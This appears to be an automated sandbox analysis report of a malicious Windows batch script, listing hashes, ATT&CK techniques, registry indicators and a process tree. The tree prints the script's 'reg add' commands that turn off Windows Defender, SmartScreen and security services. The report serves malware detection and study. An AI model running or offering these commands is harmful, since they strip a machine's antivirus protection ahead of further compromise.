c22b74bb5b950a631aab0b48d9480861b6bcd02de2be9cbc9294c760344b430b

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
23/11/2024, 16:10

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

$_13_/bn1.bat
Size

9KB
MD5

95177638f9e6c0c5f4ae5b598a373ca2
SHA1

fca0880d545b3937ceafa4f6ad0ece12168e2921
SHA256

606e86d58f2c47eff90ad4b78463ca866854a278adeb09d06a29395a1b8aea89
SHA512

55236ad069d9d4347bd2951bc5c5a05f5466e6a7937ec36b903dfb3e72c37bfb33ff610e42006a2da56c07c668cea0cb416fa412663c8d7c80ebc0641cd2d962
SSDEEP

192:5yeKv9eA3sQlxRyEiLivnzA6fFrs3qUEGA6oh/HbzBBzKF6gF8XM9LjZApFpQjTN:4K

Score

10^/10

defense_evasion evasion execution trojan

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs 14 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScriptScanning = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRoutinelyTakingAction = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

Modifies Windows Defender notification settings 3 TTPs 4 IoCs

evasion trojan

Windows Service

T1543.003

Modify Registry

T1112

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications\DisableNotifications = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications\DisableEnhancedNotifications = "1"	reg.exe

Modifies security service 2 TTPs 4 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WinDefend\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wscsvc\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WinDefend\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wscsvc\Start = "4"	reg.exe

Modifies Security services 2 TTPs 10 IoCs

Modifies the startup behavior of a security service.

defense_evasion

Modify Registry

T1112

Impair Defenses

T1562

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WdFilter\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\SecurityHealthService\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WdBoot\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WdFilter\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WdBoot\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WdNisDrv\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WdNisSvc\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WdNisDrv\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WdNisSvc\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\SecurityHealthService\Start = "4"	reg.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Logs\CBS\CbsPersist_20241123161051.cab	makecab.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1460	powershell.exe
2860	powershell.exe
1628	powershell.exe

Modifies data under HKEY_USERS 48 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	PowerRun64.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3068	PowerRun64.exe
3068	PowerRun64.exe
668	PowerRun64.exe
668	PowerRun64.exe
944	PowerRun64.exe
944	PowerRun64.exe
980	PowerRun64.exe
980	PowerRun64.exe
1792	PowerRun64.exe
1792	PowerRun64.exe
1940	PowerRun64.exe
2396	PowerRun64.exe
1940	PowerRun64.exe
2396	PowerRun64.exe
440	PowerRun64.exe
440	PowerRun64.exe
1128	PowerRun64.exe
1128	PowerRun64.exe
904	PowerRun64.exe
904	PowerRun64.exe
2944	PowerRun64.exe
2944	PowerRun64.exe
1216	PowerRun64.exe
1216	PowerRun64.exe
2636	PowerRun64.exe
2636	PowerRun64.exe
1628	PowerRun64.exe
1628	PowerRun64.exe
2136	PowerRun64.exe
2136	PowerRun64.exe
2852	PowerRun64.exe
2852	PowerRun64.exe
2548	PowerRun64.exe
2548	PowerRun64.exe
3068	PowerRun64.exe
3068	PowerRun64.exe
1208	PowerRun64.exe
1208	PowerRun64.exe
2080	PowerRun64.exe
2080	PowerRun64.exe
2956	PowerRun64.exe
2956	PowerRun64.exe
2340	PowerRun64.exe
2340	PowerRun64.exe
2236	PowerRun64.exe
2236	PowerRun64.exe
1648	PowerRun64.exe
1648	PowerRun64.exe
1844	PowerRun64.exe
1844	PowerRun64.exe
340	PowerRun64.exe
340	PowerRun64.exe
2272	PowerRun64.exe
2272	PowerRun64.exe
1780	PowerRun64.exe
1780	PowerRun64.exe
1260	PowerRun64.exe
1260	PowerRun64.exe
2560	PowerRun64.exe
2560	PowerRun64.exe
2588	PowerRun64.exe
2588	PowerRun64.exe
2716	PowerRun64.exe
2716	PowerRun64.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3068	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	3068	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	3068	PowerRun64.exe
Token: 0	3068	PowerRun64.exe
Token: SeDebugPrivilege	668	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	668	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	668	PowerRun64.exe
Token: SeDebugPrivilege	944	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	944	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	944	PowerRun64.exe
Token: 0	944	PowerRun64.exe
Token: SeDebugPrivilege	980	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	980	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	980	PowerRun64.exe
Token: SeDebugPrivilege	1792	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	1792	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	1792	PowerRun64.exe
Token: 0	1792	PowerRun64.exe
Token: SeDebugPrivilege	2396	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	2396	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	2396	PowerRun64.exe
Token: 0	2396	PowerRun64.exe
Token: SeDebugPrivilege	1940	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	1940	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	1940	PowerRun64.exe
Token: SeDebugPrivilege	440	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	440	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	440	PowerRun64.exe
Token: SeDebugPrivilege	1128	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	1128	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	1128	PowerRun64.exe
Token: 0	1128	PowerRun64.exe
Token: SeDebugPrivilege	904	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	904	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	904	PowerRun64.exe
Token: SeDebugPrivilege	2944	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	2944	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	2944	PowerRun64.exe
Token: 0	2944	PowerRun64.exe
Token: SeDebugPrivilege	1216	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	1216	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	1216	PowerRun64.exe
Token: SeDebugPrivilege	2636	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	2636	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	2636	PowerRun64.exe
Token: 0	2636	PowerRun64.exe
Token: SeDebugPrivilege	1628	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	1628	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	1628	PowerRun64.exe
Token: SeDebugPrivilege	2136	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	2136	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	2136	PowerRun64.exe
Token: 0	2136	PowerRun64.exe
Token: SeDebugPrivilege	2852	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	2852	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	2852	PowerRun64.exe
Token: SeDebugPrivilege	2548	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	2548	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	2548	PowerRun64.exe
Token: 0	2548	PowerRun64.exe
Token: SeDebugPrivilege	3068	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	3068	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	3068	PowerRun64.exe
Token: SeDebugPrivilege	1208	PowerRun64.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1540 wrote to memory of 1272	1540	cmd.exe	31
PID 1540 wrote to memory of 1272	1540	cmd.exe	31
PID 1540 wrote to memory of 1272	1540	cmd.exe	31
PID 1540 wrote to memory of 1908	1540	cmd.exe	32
PID 1540 wrote to memory of 1908	1540	cmd.exe	32
PID 1540 wrote to memory of 1908	1540	cmd.exe	32
PID 1540 wrote to memory of 1260	1540	cmd.exe	33
PID 1540 wrote to memory of 1260	1540	cmd.exe	33
PID 1540 wrote to memory of 1260	1540	cmd.exe	33
PID 1540 wrote to memory of 1780	1540	cmd.exe	34
PID 1540 wrote to memory of 1780	1540	cmd.exe	34
PID 1540 wrote to memory of 1780	1540	cmd.exe	34
PID 1540 wrote to memory of 576	1540	cmd.exe	35
PID 1540 wrote to memory of 576	1540	cmd.exe	35
PID 1540 wrote to memory of 576	1540	cmd.exe	35
PID 1540 wrote to memory of 2308	1540	cmd.exe	36
PID 1540 wrote to memory of 2308	1540	cmd.exe	36
PID 1540 wrote to memory of 2308	1540	cmd.exe	36
PID 1540 wrote to memory of 2108	1540	cmd.exe	37
PID 1540 wrote to memory of 2108	1540	cmd.exe	37
PID 1540 wrote to memory of 2108	1540	cmd.exe	37
PID 1540 wrote to memory of 2348	1540	cmd.exe	38
PID 1540 wrote to memory of 2348	1540	cmd.exe	38
PID 1540 wrote to memory of 2348	1540	cmd.exe	38
PID 1540 wrote to memory of 2352	1540	cmd.exe	39
PID 1540 wrote to memory of 2352	1540	cmd.exe	39
PID 1540 wrote to memory of 2352	1540	cmd.exe	39
PID 1540 wrote to memory of 2360	1540	cmd.exe	40
PID 1540 wrote to memory of 2360	1540	cmd.exe	40
PID 1540 wrote to memory of 2360	1540	cmd.exe	40
PID 1540 wrote to memory of 2376	1540	cmd.exe	41
PID 1540 wrote to memory of 2376	1540	cmd.exe	41
PID 1540 wrote to memory of 2376	1540	cmd.exe	41
PID 1540 wrote to memory of 2528	1540	cmd.exe	42
PID 1540 wrote to memory of 2528	1540	cmd.exe	42
PID 1540 wrote to memory of 2528	1540	cmd.exe	42
PID 1540 wrote to memory of 2632	1540	cmd.exe	43
PID 1540 wrote to memory of 2632	1540	cmd.exe	43
PID 1540 wrote to memory of 2632	1540	cmd.exe	43
PID 1540 wrote to memory of 2096	1540	cmd.exe	44
PID 1540 wrote to memory of 2096	1540	cmd.exe	44
PID 1540 wrote to memory of 2096	1540	cmd.exe	44
PID 1540 wrote to memory of 2832	1540	cmd.exe	45
PID 1540 wrote to memory of 2832	1540	cmd.exe	45
PID 1540 wrote to memory of 2832	1540	cmd.exe	45
PID 1540 wrote to memory of 1672	1540	cmd.exe	46
PID 1540 wrote to memory of 1672	1540	cmd.exe	46
PID 1540 wrote to memory of 1672	1540	cmd.exe	46
PID 1540 wrote to memory of 2764	1540	cmd.exe	47
PID 1540 wrote to memory of 2764	1540	cmd.exe	47
PID 1540 wrote to memory of 2764	1540	cmd.exe	47
PID 1540 wrote to memory of 2128	1540	cmd.exe	48
PID 1540 wrote to memory of 2128	1540	cmd.exe	48
PID 1540 wrote to memory of 2128	1540	cmd.exe	48
PID 1540 wrote to memory of 2644	1540	cmd.exe	49
PID 1540 wrote to memory of 2644	1540	cmd.exe	49
PID 1540 wrote to memory of 2644	1540	cmd.exe	49
PID 1540 wrote to memory of 1740	1540	cmd.exe	50
PID 1540 wrote to memory of 1740	1540	cmd.exe	50
PID 1540 wrote to memory of 1740	1540	cmd.exe	50
PID 1540 wrote to memory of 2412	1540	cmd.exe	51
PID 1540 wrote to memory of 2412	1540	cmd.exe	51
PID 1540 wrote to memory of 2412	1540	cmd.exe	51
PID 1540 wrote to memory of 2368	1540	cmd.exe	52

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\$_13_\bn1.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1540
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "SmartScreenEnabled" /t reg_SZ /d "Off" /f
  2⤵
  PID:1272
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t reg_DWORD /d 0 /f
  2⤵
  PID:1908
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "PreventOverride" /t reg_DWORD /d 0 /f
  2⤵
  PID:1260
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t reg_DWORD /d 0 /f
  2⤵
  PID:1780
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "PreventOverride" /t reg_DWORD /d 0 /f
  2⤵
  PID:576
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AppAndBrowser_EdgeSmartScreenOff" /t REG_DWORD /d 0 /f
  2⤵
  PID:2308
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AppAndBrowser_StoreAppsSmartScreenOff" /t reg_DWORD /d 0 /f
  2⤵
  PID:2108
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AccountProtection_MicrosoftAccount_Disconnected" /t REG_DWORD /d 1 /f
  2⤵
  PID:2348
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "RandomizeScheduleTaskTimes" /t reg_DWORD /d "0" /f
  2⤵
  PID:2352
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "PUAProtection" /t reg_DWORD /d "0" /f
  2⤵
  PID:2360
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t reg_DWORD /d 1 /f
  2⤵
  PID:2376
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions" /v "DisableAutoExclusions" /t reg_DWORD /d "1" /f
  2⤵
  PID:2528
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t reg_DWORD /d "0" /f
  2⤵
  PID:2632
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Quarantine" /v "PurgeItemsAfterDelay" /t reg_DWORD /d "0" /f
  2⤵
  PID:2096
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Quarantine" /v "LocalSettingOverridePurgeItemsAfterDelay" /t reg_DWORD /d "0" /f
  2⤵
  PID:2832
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t reg_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:1672
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t reg_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:2764
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t reg_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:2128
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRoutinelyTakingAction" /t reg_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:2644
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t reg_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:1740
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScriptScanning" /t reg_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:2412
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t reg_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:2368
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Remediation" /v "Scan_ScheduleDay" /t reg_DWORD /d "8" /f
  2⤵
  PID:2660
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Remediation" /v "Scan_ScheduleTime" /t reg_DWORD /d 0 /f
  2⤵
  PID:2692
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "AdditionalActionTimeOut" /t reg_DWORD /d 0 /f
  2⤵
  PID:2680
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "CriticalFailureTimeOut" /t reg_DWORD /d 0 /f
  2⤵
  PID:2732
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "NonCriticalTimeOut" /t reg_DWORD /d 0 /f
  2⤵
  PID:2748
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "DisableGenericRePorts" /t reg_DWORD /d 1 /f
  2⤵
  PID:2752
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t reg_DWORD /d "1" /f
  2⤵
  PID:2796
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "AvgCPULoadFactor" /t reg_DWORD /d "10" /f
  2⤵
  PID:2912
- C:\Windows\system32\reg.exe
